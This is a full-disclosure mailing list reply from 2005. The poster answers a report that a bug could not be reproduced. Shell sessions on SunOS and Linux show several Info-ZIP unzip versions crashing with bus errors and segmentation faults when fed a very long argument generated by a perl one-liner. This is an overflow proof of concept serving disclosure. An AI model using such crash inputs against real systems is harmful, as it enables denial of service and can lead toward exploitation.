full-disclosure - Unzip *ALL* verisons ;))

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Date: Mon Dec 19 16:44:42 2005
From: c0ntexb at gmail.com (c0ntex)
Subject: Unzip *ALL* verisons ;))

On 19/12/05, Joachim Schipper <j.schipper@...h.uu.nl> wrote

> I cannot reproduce this, either with "A" x 5000 or "A" x 20000. I tested
> unzip-5.52 on Linux/i386-2.6 and OpenBSD/i386-3.8, and saw no error.
>
>                 Joachim



[c0ntex@ ~]$ unzip -v | head -1
UnZip 5.32 of 3 November 1997, by Info-ZIP.  Maintained by Greg Roelofs.  Send
[c0ntex@ ~]$
[c0ntex@ ~]$ uname -a
SunOS  5.8 Generic_117350-24 sun4u sparc SUNW,UltraAX-i2
[c0ntex@ ~]$ unzip `perl -e 'print "A" x 50000'`
Bus Error (core dumped)
[c0ntex@ ~]$


c0ntex@...auch:~$ unzip -v | head -1
UnZip 5.52 of 28 February 2005, by Info-ZIP.  Maintained by C. Spieler.  Send
c0ntex@...auch:~$ uname -a
Linux debauch 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
c0ntex@...auch:~$ unzip `perl -e 'print "A" x 32000'`
<snip>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ZIP.
error:  zipfile probably corrupt (segmentation violation)
c0ntex@...auch:~$


[c0ntex@...uxbox tmp]$ unzip -v | head -1
UnZip 5.51 of 22 May 2004, by Info-ZIP.  Maintained by C. Spieler.  Send
[c0ntex@...uxbox tmp]$ uname -a
Linux linuxbox 2.6.12 #2 Wed Jul 13 10:19:26 BST 2005 i686 i686 i386 GNU/Linux
[c0ntex@...uxbox tmp]$ unzip `perl -e 'print "A" x 50000'`
Segmentation fault
[c0ntex@...uxbox tmp]$

--

regards
c0ntex